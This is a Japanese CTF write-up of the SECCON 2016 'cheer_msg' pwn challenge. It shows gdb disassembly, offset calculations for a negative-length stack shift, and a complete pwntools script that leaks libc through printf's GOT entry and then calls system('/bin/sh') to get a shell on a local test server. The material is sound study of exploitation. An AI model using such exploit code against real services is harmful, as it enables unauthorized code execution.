1.はじめに
先日投稿したbin編の問題をpwn編に流用しようとしたら大失敗をしていた事に気づいて傷心していたところ、某氏のお力添えによりなんとか立ち直りかけております。
初心者の癖に偉そうに紹介なんざせずたまには真面目にpwnのお勉強をしてみようと思い立ったため、今回もSECCON様のOnline予選より問題を引用させて頂き、少し勉強していこうかなあ…と思います。なので今回はただただ問題を解いているときの私の脳内を垂れ流しているだけです。
2.本題
Host : cheermsg.pwn.seccon.jp
Port : 30527
cheer_msg (SHA1 : a89bdbaf3a918b589e14446f88d51b2c63cb219f)
libc-2.19.so (SHA1 : c4dc1270c1449536ab2efbbe7053231f1a776368)
(SECCON 2016 Online予選より "cheer_msg")
というわけで、作問者様の解説ページを参考にこの問題を解いていきたいと思います。
当然ですがこのサーバーは現在稼働していないので、SECCON様のgithubから問題のバイナリとフラグの入ったテキストを入手して同じディレクトリに叩き込んで作業開始です。
とりあえず動かしてみましょうか。環境はUbuntu 14.04 x86_64です。
shir0@shir0:~/src$ ./cheer_msg
Hello, I'm Nao.
Give me your cheering messages :)
Message Length >> 10
Message >> AAAA
Oops! I forgot to ask your name...
Can you tell me your name?
Name >> BBBB
Thank you BBBB!
Message : AAAA
某大先輩様に応援メッセージ(cheer_msg)を送るプログラムみたいですね。
%xを入力欄にいれても変な挙動は起こさないのでFormat_string attackは通らないっぽいですね。地道に行きましょうか。main関数を逆アセンブルします。
shir0@shir0:~/src$ gdb -q cheer_msg
Reading symbols from cheer_msg...(no debugging symbols found)...done.
gdb-peda$ disass main
Dump of assembler code for function main:
0x080485ca <+0>: lea ecx,[esp+0x4]
0x080485ce <+4>: and esp,0xfffffff0
0x080485d1 <+7>: push DWORD PTR [ecx-0x4]
0x080485d4 <+10>: push ebp
0x080485d5 <+11>: mov ebp,esp
0x080485d7 <+13>: push ecx
0x080485d8 <+14>: sub esp,0x24
0x080485db <+17>: mov DWORD PTR [esp],0x80487e0
0x080485e2 <+24>: call 0x8048430 <printf@plt>
0x080485e7 <+29>: call 0x804870d <getint>
0x080485ec <+34>: mov DWORD PTR [ebp-0x10],eax
0x080485ef <+37>: mov eax,DWORD PTR [ebp-0x10]
0x080485f2 <+40>: lea edx,[eax+0xf]
0x080485f5 <+43>: mov eax,0x10
0x080485fa <+48>: sub eax,0x1
0x080485fd <+51>: add eax,edx
0x080485ff <+53>: mov ecx,0x10
0x08048604 <+58>: mov edx,0x0
0x08048609 <+63>: div ecx
0x0804860b <+65>: imul eax,eax,0x10
0x0804860e <+68>: sub esp,eax
0x08048610 <+70>: lea eax,[esp+0x8]
0x08048614 <+74>: add eax,0xf
0x08048617 <+77>: shr eax,0x4
0x0804861a <+80>: shl eax,0x4
0x0804861d <+83>: mov DWORD PTR [ebp-0xc],eax
0x08048620 <+86>: mov eax,DWORD PTR [ebp-0x10]
0x08048623 <+89>: mov DWORD PTR [esp+0x4],eax
0x08048627 <+93>: mov eax,DWORD PTR [ebp-0xc]
0x0804862a <+96>: mov DWORD PTR [esp],eax
0x0804862d <+99>: call 0x804863c <message>
0x08048632 <+104>: leave
0x08048633 <+105>: ret
0x08048634 <+106>: nop
0x08048635 <+107>: nop
0x08048636 <+108>: nop
0x08048637 <+109>: nop
0x08048638 <+110>: nop
0x08048639 <+111>: nop
0x0804863a <+112>: nop
0x0804863b <+113>: nop
End of assembler dump.
目を引くものは謎の関数"getint"と"message"ぐらいですかね。それぞれ逆アセンブルしてみましょう。
"getint"関数
gdb-peda$ disass getint
Dump of assembler code for function getint:
0x0804870d <+0>: push ebp
0x0804870e <+1>: mov ebp,esp
0x08048710 <+3>: sub esp,0x68
0x08048713 <+6>: mov eax,gs:0x14
0x08048719 <+12>: mov DWORD PTR [ebp-0xc],eax
0x0804871c <+15>: xor eax,eax
0x0804871e <+17>: mov DWORD PTR [esp+0x4],0x40
0x08048726 <+25>: lea eax,[ebp-0x4c]
0x08048729 <+28>: mov DWORD PTR [esp],eax
0x0804872c <+31>: call 0x80486bd <getnline>
0x08048731 <+36>: lea eax,[ebp-0x4c]
0x08048734 <+39>: mov DWORD PTR [esp],eax
0x08048737 <+42>: call 0x80484a0 <atoi@plt>
0x0804873c <+47>: mov edx,DWORD PTR [ebp-0xc]
0x0804873f <+50>: xor edx,DWORD PTR gs:0x14
0x08048746 <+57>: je 0x804874d <getint+64>
0x08048748 <+59>: call 0x8048450 <__stack_chk_fail@plt>
0x0804874d <+64>: leave
0x0804874e <+65>: ret
End of assembler dump.
"message"関数
Dump of assembler code for function message:
0x0804863c <+0>: push ebp
0x0804863d <+1>: mov ebp,esp
0x0804863f <+3>: sub esp,0x68
0x08048642 <+6>: mov eax,DWORD PTR [ebp+0x8]
0x08048645 <+9>: mov DWORD PTR [ebp-0x5c],eax
0x08048648 <+12>: mov eax,gs:0x14
0x0804864e <+18>: mov DWORD PTR [ebp-0xc],eax
0x08048651 <+21>: xor eax,eax
0x08048653 <+23>: mov DWORD PTR [esp],0x8048826
0x0804865a <+30>: call 0x8048430 <printf@plt>
0x0804865f <+35>: mov eax,DWORD PTR [ebp+0xc]
0x08048662 <+38>: mov DWORD PTR [esp+0x4],eax
0x08048666 <+42>: mov eax,DWORD PTR [ebp-0x5c]
0x08048669 <+45>: mov DWORD PTR [esp],eax
0x0804866c <+48>: call 0x80486bd <getnline>
0x08048671 <+53>: mov DWORD PTR [esp],0x8048834
0x08048678 <+60>: call 0x8048430 <printf@plt>
0x0804867d <+65>: mov DWORD PTR [esp+0x4],0x40
0x08048685 <+73>: lea eax,[ebp-0x4c]
0x08048688 <+76>: mov DWORD PTR [esp],eax
0x0804868b <+79>: call 0x80486bd <getnline>
0x08048690 <+84>: mov eax,DWORD PTR [ebp-0x5c]
0x08048693 <+87>: mov DWORD PTR [esp+0x8],eax
0x08048697 <+91>: lea eax,[ebp-0x4c]
0x0804869a <+94>: mov DWORD PTR [esp+0x4],eax
0x0804869e <+98>: mov DWORD PTR [esp],0x804887d
0x080486a5 <+105>: call 0x8048430 <printf@plt>
0x080486aa <+110>: mov eax,DWORD PTR [ebp-0xc]
0x080486ad <+113>: xor eax,DWORD PTR gs:0x14
0x080486b4 <+120>: je 0x80486bb <message+127>
0x080486b6 <+122>: call 0x8048450 <__stack_chk_fail@plt>
0x080486bb <+127>: leave
0x080486bc <+128>: ret
End of assembler dump.
もう一つ、"getnline"という関数が出てきたのでこれも一応
"getnline"関数
gdb-peda$ disass getnline
Dump of assembler code for function getnline:
0x080486bd <+0>: push ebp
0x080486be <+1>: mov ebp,esp
0x080486c0 <+3>: sub esp,0x28
0x080486c3 <+6>: mov eax,ds:0x804a040
0x080486c8 <+11>: mov DWORD PTR [esp+0x8],eax
0x080486cc <+15>: mov eax,DWORD PTR [ebp+0xc]
0x080486cf <+18>: mov DWORD PTR [esp+0x4],eax
0x080486d3 <+22>: mov eax,DWORD PTR [ebp+0x8]
0x080486d6 <+25>: mov DWORD PTR [esp],eax
0x080486d9 <+28>: call 0x8048440 <fgets@plt>
0x080486de <+33>: mov DWORD PTR [esp+0x4],0xa
0x080486e6 <+41>: mov eax,DWORD PTR [ebp+0x8]
0x080486e9 <+44>: mov DWORD PTR [esp],eax
0x080486ec <+47>: call 0x8048470 <strchr@plt>
0x080486f1 <+52>: mov DWORD PTR [ebp-0xc],eax
0x080486f4 <+55>: cmp DWORD PTR [ebp-0xc],0x0
0x080486f8 <+59>: je 0x8048700 <getnline+67>
0x080486fa <+61>: mov eax,DWORD PTR [ebp-0xc]
0x080486fd <+64>: mov BYTE PTR [eax],0x0
0x08048700 <+67>: mov eax,DWORD PTR [ebp+0x8]
0x08048703 <+70>: mov DWORD PTR [esp],eax
0x08048706 <+73>: call 0x8048480 <strlen@plt>
0x0804870b <+78>: leave
0x0804870c <+79>: ret
End of assembler dump.
先述の作問者様のページによると、Message Lengthを受け取る際に負数チェックがなされていないとのことなのでそれぞれの関数の逆アセンブル結果を見てみると、確かに正の整数を受け取るまで入力を聞き返すようなループ処理(アセンブリの視点で見ると分岐命令)等が見当たりませんね。
「え?でもgetintとmessageの終わりの方にje命令あるけどこれは違うの?」と一瞬思いましたが、これはその直後にあるcall命令の内容(__stack_chk_fail@plt)よりSSP(Stack Smashing Protection)によるものであると考えられますね。
つまりここでリターンアドレスが破壊されていないかどうかを判定しているということです。同時に、今回は古典的なバッファオーバーフローは通用しないことがわかります。(オーバーリード等でメモリの内容をリークさせる手法でcanaryの値を読み出して、それを攻撃用のバッファにバイパスさせることでSSPを回避するといった例も一部存在はしますが…)
また、負の値を読み込んだらその値に-1をかけて正の整数にする(ここまでは流石に無いと思いますが)といったタイプの処理も見当たりません。(手元でそれを試してみたところ、符号反転を行うアセンブリ命令であるneg命令なんてものが見つかりました。面白いですね…)
確かに負数チェックがなされていないという事実に納得したところでpwnの方針についてページを読み進めて行くと、main関数内でesp-eaxをすることでメッセージの内容を格納するためにespの値を低位に移動させているらしいです。しかしここでeaxに負数を代入することで負数を減算(=加算)、つまりespの値を高位に移せるというわけですね。
そしてespをある位置に動かして、名前の入力欄で入力した値がmain関数のリターンアドレスの格納されている位置を上書きするように調整します。
手始めにMessage Lengthを-100 名前のパターンの長さを100程度にしてみましょうか。
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ b *0x08048633
Breakpoint 1 at 0x8048633
gdb-peda$ run
Starting program: /home/shir0/src/cheer_msg
Hello, I'm Nao.
Give me your cheering messages :)
Message Length >> -100
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?
Name >> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Thank you AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AA!
Message : ��
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xf7fc0000 --> 0x1a8da8
ECX: 0x5b ('[')
EDX: 0xf7fc1898 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x41414641 ('AFAA')
ESP: 0xffffd08c ("bAA1AAGAAcAA2AA")
EIP: 0x8048633 (<main+105>: ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804862a <main+96>: mov DWORD PTR [esp],eax
0x804862d <main+99>: call 0x804863c <message>
0x8048632 <main+104>: leave
=> 0x8048633 <main+105>: ret
0x8048634 <main+106>: nop
0x8048635 <main+107>: nop
0x8048636 <main+108>: nop
0x8048637 <main+109>: nop
[------------------------------------stack-------------------------------------]
0000| 0xffffd08c ("bAA1AAGAAcAA2AA")
0004| 0xffffd090 ("AAGAAcAA2AA")
0008| 0xffffd094 ("AcAA2AA")
0012| 0xffffd098 --> 0x414132 ('2AA')
0016| 0xffffd09c --> 0x76647200 ('')
0020| 0xffffd0a0 --> 0x1
0024| 0xffffd0a4 --> 0xffffd134 --> 0xffffd302 ("/home/shir0/src/cheer_msg")
0028| 0xffffd0a8 --> 0xffffd088 ("AFAAbAA1AAGAAcAA2AA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048633 in main ()
gdb-peda$ patto bAA1AAGAAcAA2AA
bAA1AAGAAcAA2AA found at offset: 48
gdb-peda$ c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xf7fc0000 --> 0x1a8da8
ECX: 0x5b ('[')
EDX: 0xf7fc1898 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x41414641 ('AFAA')
ESP: 0xffffd090 ("AAGAAcAA2AA")
EIP: 0x31414162 ('bAA1')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x31414162
[------------------------------------stack-------------------------------------]
0000| 0xffffd090 ("AAGAAcAA2AA")
0004| 0xffffd094 ("AcAA2AA")
0008| 0xffffd098 --> 0x414132 ('2AA')
0012| 0xffffd09c --> 0x76647200 ('')
0016| 0xffffd0a0 --> 0x1
0020| 0xffffd0a4 --> 0xffffd134 --> 0xffffd302 ("/home/shir0/src/cheer_msg")
0024| 0xffffd0a8 --> 0xffffd088 ("AFAAbAA1AAGAAcAA2AA")
0028| 0xffffd0ac --> 0x8048632 (<main+104>: leave)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x31414162 in ?? ()
offsetが48となったので、-(100+48)で-148をMessage Lengthに渡せば、名前入力欄で書く内容がmainのリターンアドレスを格納している位置の内容を上書きしてくれます。
ちなみに私は最初に作問者様のページを読んで、「なんでこっちだとMessage Lengthに-144を渡してるんだろ…アセンブリ地道に見ていけば出るかな…」と思い、アセンブリを読みながら色々計算してみました。
0x080485e7 <+29>: call 0x804870d <getint>
0x080485ec <+34>: mov DWORD PTR [ebp-0x10],eax
0x080485ef <+37>: mov eax,DWORD PTR [ebp-0x10]
0x080485f2 <+40>: lea edx,[eax+0xf]
0x080485f5 <+43>: mov eax,0x10
0x080485fa <+48>: sub eax,0x1
0x080485fd <+51>: add eax,edx
0x080485ff <+53>: mov ecx,0x10
0x08048604 <+58>: mov edx,0x0
0x08048609 <+63>: div ecx
0x0804860b <+65>: imul eax,eax,0x10
0x0804860e <+68>: sub esp,eax
上のmain関数の逆アセンブル結果の一部により、esp-eaxを行う直前のeaxの値が
[{(Message Lengthに渡した値)+0x1e}を0x10で割ったときの商}*0x10]になることが分かります。
[----------------------------------registers-----------------------------------]
EAX: 0x80
EBX: 0xf7fc0000 --> 0x1a8da8
ECX: 0x10
EDX: 0x2
ESI: 0x0
EDI: 0x0
EBP: 0xffffd118 --> 0x0
ESP: 0xffffd070 --> 0xffffd09c --> 0x303031 ('100')
EIP: 0x8048610 (<main+70>: lea eax,[esp+0x8])
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048609 <main+63>: div ecx
0x804860b <main+65>: imul eax,eax,0x10
0x804860e <main+68>: sub esp,eax
=> 0x8048610 <main+70>: lea eax,[esp+0x8]
0x8048614 <main+74>: add eax,0xf
0x8048617 <main+77>: shr eax,0x4
0x804861a <main+80>: shl eax,0x4
0x804861d <main+83>: mov DWORD PTR [ebp-0xc],eax
[------------------------------------stack-------------------------------------]
0000| 0xffffd070 --> 0xffffd09c --> 0x303031 ('100')
0004| 0xffffd074 --> 0xf7ffd938 --> 0x0
0008| 0xffffd078 --> 0x40 ('@')
0012| 0xffffd07c --> 0x804873c (<getint+47>: mov edx,DWORD PTR [ebp-0xc])
0016| 0xffffd080 --> 0xffffd09c --> 0x303031 ('100')
0020| 0xffffd084 --> 0x40 ('@')
0024| 0xffffd088 --> 0x0
0028| 0xffffd08c --> 0xf7e7c423 (<setbuffer+227>: jmp 0xf7e7c3d3 <setbuffer+147>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048610 in main ()
gdb-peda$ i r
eax 0x80 0x80
ecx 0x10 0x10
edx 0x2 0x2
ebx 0xf7fc0000 0xf7fc0000
esp 0xffffd070 0xffffd070 ///////////////////espの値//////////////////
ebp 0xffffd118 0xffffd118
esi 0x0 0x0
edi 0x0 0x0
eip 0x8048610 0x8048610 <main+70>
eflags 0x282 [ SF IF ]
cs 0x23 0x23
ss 0x2b 0x2b
ds 0x2b 0x2b
es 0x2b 0x2b
fs 0x0 0x0
gs 0x63 0x63
gdb-peda$ c
Continuing.
Oops! I forgot to ask your name...
Can you tell me your name?
Name >> NAME
[----------------------------------registers-----------------------------------]
EAX: 0xffffd01c ("NAME\n")
EBX: 0xf7fc0000 --> 0x1a8da8
ECX: 0xf7fd9005 --> 0xa4547 ('GE\n')
EDX: 0xf7fc18a4 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xffffcff8 --> 0xffffd068 --> 0xffffd118 --> 0x0
ESP: 0xffffcfd0 --> 0xffffd01c ("NAME\n")
EIP: 0x80486de (<getnline+33>: mov DWORD PTR [esp+0x4],0xa)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80486d3 <getnline+22>: mov eax,DWORD PTR [ebp+0x8]
0x80486d6 <getnline+25>: mov DWORD PTR [esp],eax
0x80486d9 <getnline+28>: call 0x8048440 <fgets@plt>
=> 0x80486de <getnline+33>: mov DWORD PTR [esp+0x4],0xa
0x80486e6 <getnline+41>: mov eax,DWORD PTR [ebp+0x8]
0x80486e9 <getnline+44>: mov DWORD PTR [esp],eax
0x80486ec <getnline+47>: call 0x8048470 <strchr@plt>
0x80486f1 <getnline+52>: mov DWORD PTR [ebp-0xc],eax
[------------------------------------stack-------------------------------------]
0000| 0xffffcfd0 --> 0xffffd01c ("NAME\n") ///////////////リターンアドレスの格納位置/////////////
0004| 0xffffcfd4 --> 0x40 ('@')
0008| 0xffffcfd8 --> 0xf7fc0c20 --> 0xfbad2288
0012| 0xffffcfdc --> 0xf7e63dff (<printf+47>: add esp,0x18)
0016| 0xffffcfe0 --> 0xf7fc0ac0 --> 0xfbad2887
0020| 0xffffcfe4 --> 0x8048834 ("\nOops! I forgot to ask your name...\nCan you tell me your name?\n\nName >> ")
0024| 0xffffcfe8 --> 0xffffd004 --> 0x40 ('@')
0028| 0xffffcfec --> 0xffffd087 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0x080486de in getnline ()
gdb-peda$ p 0xffffd070-0xffffd01c
$1 = 0x54
また、この命令群の直後の命令にブレークポイントを置いてi r esp等のコマンドでespの値を調べ、message関数内の名前を読み込むのに使われるgetnline関数の中のgetf関数の直後にブレークポイントを置いて名前を格納しているスタックのアドレスを調べて差を取ります。
すると、gdb上でeaxを減算した後のespと、名前入力欄で入力した値が格納されているスタックのアドレスの差は(手元のgdb上で試した限りでは常に)0x54であることも分かります。
また、mainのリターンアドレスの格納位置はmain関数の最後の方にあるret命令にブレークポイントを置いてあげれば、そのときにスタックの一番上に積まれている値はリターンアドレスのはずなので、そこを調べて求めてあげましょう。ret命令は実際(厳密には違うのかもしれませんが)pop eipのような働きをすると記憶しているもので…(もっと簡単な方法があるのかもしれませんが)
gdb-peda$ b *0x08048633
Breakpoint 1 at 0x8048633
gdb-peda$ run
Starting program: /home/shir0/src/cheer_msg
Hello, I'm Nao.
Give me your cheering messages :)
Message Length >> -148
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?
Name >> AAAA
Thank you AAAA!
Message :
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xf7fc0000 --> 0x1a8da8
ECX: 0x1c
EDX: 0xf7fc1898 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xffffd11c ("AAAA")
EIP: 0x8048633 (<main+105>: ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804862a <main+96>: mov DWORD PTR [esp],eax
0x804862d <main+99>: call 0x804863c <message>
0x8048632 <main+104>: leave
=> 0x8048633 <main+105>: ret
0x8048634 <main+106>: nop
0x8048635 <main+107>: nop
0x8048636 <main+108>: nop
0x8048637 <main+109>: nop
[------------------------------------stack-------------------------------------]
0000| 0xffffd11c ("AAAA") /////////////////////ここ!//////////////////////
0004| 0xffffd120 --> 0x8040000
0008| 0xffffd124 --> 0x0
0012| 0xffffd128 --> 0x0
0016| 0xffffd12c --> 0xf7e30ad3 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
0020| 0xffffd130 --> 0x1
0024| 0xffffd134 --> 0xffffd1c4 --> 0xffffd384 ("/home/shir0/src/cheer_msg")
0028| 0xffffd138 --> 0xffffd1cc --> 0xffffd39e ("XDG_VTNR=7")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048633 in main ()
リターンアドレスの格納位置はわかったので、先程のespとの差である0x54を足して、esp-eaxの演算結果を出すと
gdb-peda$ p 0xffffd08c+0x54
$1 = 0xffffd0e0
減算処理をするsub esp eaxの位置(0x0804860e)にブレークポイントをおき、i r espでespの値を求め(結果:esp => 0xffffd060)、eaxの値を求めると
gdb-peda$ p 0xffffd060-0xffffd0e0
$2 = 0xffffff80
後は先程の
(esp-eax直前の) eax = [{(Message Lengthに渡した値)+0x1e}を0x10で割ったときの商}*0x10]
より、逆算していくだけなので
gdb-peda$ p 0xffffff80/0x10
$3 = 0xffffff8
gdb-peda$ p 0xffffff80/0x10
$4 = 0xffffff8
gdb-peda$ p 0xffffff8*0x10
$5 = 0xffffff80
gdb-peda$ p 0x1e- 0xffffff80
$6 = 0x9e
gdb-peda$ p /d 0x9e
$7 = 158
というわけで、-158を入力してもリターンアドレスの書き換えが可能であることも分かります。
ツールで求めた値や作問者様の求めた値と微妙に違う原因は上の計算式で「~を0x10で割ったときの商}*0x10」を生み出しているmain関数中の命令div ecx; imul eax eax 0x10;にあります。div ecxでは、eaxの値をecxで割り、その商をeaxに、余りをecxに格納します。直前の命令を見ればわかりますが今回のecxの値は0x10なので、eaxの値は位が1つ下がり最小桁が実質切り捨てられます。さらにそのあとimul eax, eax, 0x10でeaxの値にeaxの値を0x10倍した値(位が1つ上がり、最小桁は0)になります。
要は(Message Lengthに渡した値)+0x1eの値の最小1桁は自動的に0になってしまうということです。上の例で言えば0xffffff8?の?の部分はその後の計算で0にされてしまうので、リターンアドレスの書き換えに成功するためには、上7桁が"0xffffff8"になれば良いというわけです。これが作問者様のページで使われているMessage Lengthと私の求めたMessage Lengthが異なる理由の1つであると考えられます。(まあ大半の原因はlibcの違いだと考えられますが)
実際に動かしてみると、この環境ではMessage Lengthの値を-143(=-(158-15))から-158にした場合はリターンアドレスの書き換えに成功しますが、-142以上または-159以下にすると意図した値への書き換えに失敗します。
Message Length > -143の場合(リターンアドレスが0x41414141になっている)
Message Length >> -143
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xf7fc0000 --> 0x1a8da8
ECX: 0x1c
EDX: 0xf7fc1898 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xffffd120 --> 0x8040000
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffd120 --> 0x8040000
0004| 0xffffd124 --> 0x0
0008| 0xffffd128 --> 0x0
0012| 0xffffd12c --> 0xf7e30ad3 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
0016| 0xffffd130 --> 0x1
0020| 0xffffd134 --> 0xffffd1c4 --> 0xffffd384 ("/home/shir0/src/cheer_msg")
0024| 0xffffd138 --> 0xffffd1cc --> 0xffffd39e ("XDG_VTNR=7")
0028| 0xffffd13c --> 0xf7feacca (add ebx,0x12336)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
Message Length > -142の場合(正常に終了)
Message Length >> -142
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?
Name >> AAAA
Thank you AAAA!
Message :
[Inferior 1 (process 2884) exited normally]
Warning: not running or target is remote
Message Length > -159の場合(本来とは別のところに処理が飛んではいるが、書き換え後の値が意図した"AAAA"(0x41414141)になっていない)
Message Length >> -159
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?
Name >> AAAA
Thank you AAAA!
Message :
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xf7fc0000 --> 0x1a8da8
ECX: 0x1d
EDX: 0xf7fc1898 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xffffd190 --> 0x1
ESP: 0xffffd120 --> 0x8048750 (<__libc_csu_init>: push ebp)
EIP: 0xffffd190 --> 0x1
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xffffd18a: jecxz 0xffffd183
0xffffd18c: add al,dl
0xffffd18e: push edi
=> 0xffffd190: add DWORD PTR [eax],eax
0xffffd192: add BYTE PTR [eax],al
0xffffd194: mov al,0x84
0xffffd196: add al,0x8
0xffffd198: add BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xffffd120 --> 0x8048750 (<__libc_csu_init>: push ebp)
0004| 0xffffd124 --> 0x0
0008| 0xffffd128 --> 0x0
0012| 0xffffd12c ("AAAA")
0016| 0xffffd130 --> 0x0
0020| 0xffffd134 --> 0xffffd1c4 --> 0xffffd384 ("/home/shir0/src/cheer_msg")
0024| 0xffffd138 --> 0xffffd1cc --> 0xffffd39e ("XDG_VTNR=7")
0028| 0xffffd13c --> 0xf7feacca (add ebx,0x12336)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xffffd190 in ?? ()
Message Length > -158の場合(リターンアドレスが0x41414141になっている)
Message Length >> -158
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?
Name >> AAAA
Thank you AAAA!
Message :
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xf7fc0000 --> 0x1a8da8
ECX: 0x1c
EDX: 0xf7fc1898 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xffffd120 --> 0x8040000
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffd120 --> 0x8040000
0004| 0xffffd124 --> 0x0
0008| 0xffffd128 --> 0x0
0012| 0xffffd12c --> 0xf7e30ad3 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
0016| 0xffffd130 --> 0x1
0020| 0xffffd134 --> 0xffffd1c4 --> 0xffffd384 ("/home/shir0/src/cheer_msg")
0024| 0xffffd138 --> 0xffffd1cc --> 0xffffd39e ("XDG_VTNR=7")
0028| 0xffffd13c --> 0xf7feacca (add ebx,0x12336)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
これらの情報を元に、攻撃を組み立てていきます。flagを奪取する手段として、flag.txtの内容を表示するためにシェルを奪取します。攻撃の方針としては、ROPを用いて「cheer_msgの実行→libcのアドレスのリーク→mainにリターン→リークした情報を元にシェルを起動」が楽だと考えられるので、その方針でコードを書きます。(cheer_msgが一度実行を終了してしまうとASLRによってアドレスが再配置され、せっかくリークしたアドレスが意味をなさなくなってしまうので、一度の実行の内にmainを2度実行します)
libcのアドレスをリークするためのコードを送り込んだ後のスタック
(スタック低位)
printf関数のPLTアドレス(元々のリターンアドレスが格納されている位置)
main関数のアドレス(printf実行後のリターン先)
printf関数のGOTアドレス(printfの引数)
(スタック高位)
シェルを起動するためのコードを送り込んだ後のスタック
(スタック低位)
system関数のアドレス(元々のリターンアドレスが格納されている位置)
"AAAA"(system実行後のリターン先 基本適当でOK)
"/bin/sh"が存在するアドレス(systemの引数)
(スタック高位)
以上のようにするための攻撃コードを書くと
#!/usr/bin/env python
from pwn import *
context(arch = 'i386', os = 'linux')
libc = ELF("/lib32/libc.so.6")
bin_file = ELF("./cheer_msg")
plt_printf_addr = bin_file.plt['printf']
got_printf_addr = bin_file.got['printf']
func_main_addr = bin_file.functions['main'].address
conn = remote('127.0.0.1', 30527)
conn.recvuntil('Message Length >> ')
conn.sendline(str(-148))
memleak = p32(plt_printf_addr)
memleak += p32(func_main_addr)
memleak += p32(got_printf_addr)
conn.recvuntil('Name >> ')
conn.sendline(memleak)
conn.recvuntil('Message : \n')
leaked_string = conn.recvline()
libc_printf_addr = u32(leaked_string[0:4])
print "libc_printf_addr = %s" % hex(libc_printf_addr)
libc_base_addr = libc_printf_addr - libc.symbols['printf']
print "libc_base_addr = %s" % hex(libc_base_addr)
libc_system_addr = libc_base_addr + libc.symbols['system']
libc_shell_addr = libc_base_addr + next(libc.search('/bin/sh\x00'))
conn.recvuntil('Message Length >> ')
conn.sendline(str(-148))
getshell = p32(libc_system_addr)
getshell += b'AAAA'
getshell += p32(libc_shell_addr)
conn.recvuntil('Name >> ')
conn.sendline(getshell)
conn.interactive()
conn.close()
シェルを起動するためにリークしたlibc_printf_addrからprintfのlibc内でのアドレスを引くことでlibcの配置されているアドレス(libc_base_addr)を算出して、後はそこにsystem関数のlibc内でのアドレスを足してsystem関数の位置(libc_system_addr)を求め、同様にして"/bin/sh"の位置(libc_shell_addr)を求めてあげます。すると攻撃はmemleakを送ってアドレスをリークさせた後にmain関数にリターンして、次にリークした情報を元にして作ったgetshellを送ってシェルを奪取するという二段階の構造になります。
実行してみると
shir0@shir0:~/src$ socat tcp-listen:30527,reuseaddr,fork exec:"./cheer_msg" 2> /dev/null &
[2] 3004
shir0@shir0:~/src$ python exploit.py
[*] '/lib32/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/shir0/src/cheer_msg'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to 127.0.0.1 on port 30527: Done
libc_printf_addr = 0xf7655dd0
libc_base_addr = 0xf7609000
[*] Switching to interactive mode
Thank you p\x8ed�AAAA��v�!
Message :
$ ls
cheer
cheer_msg
exploit.py
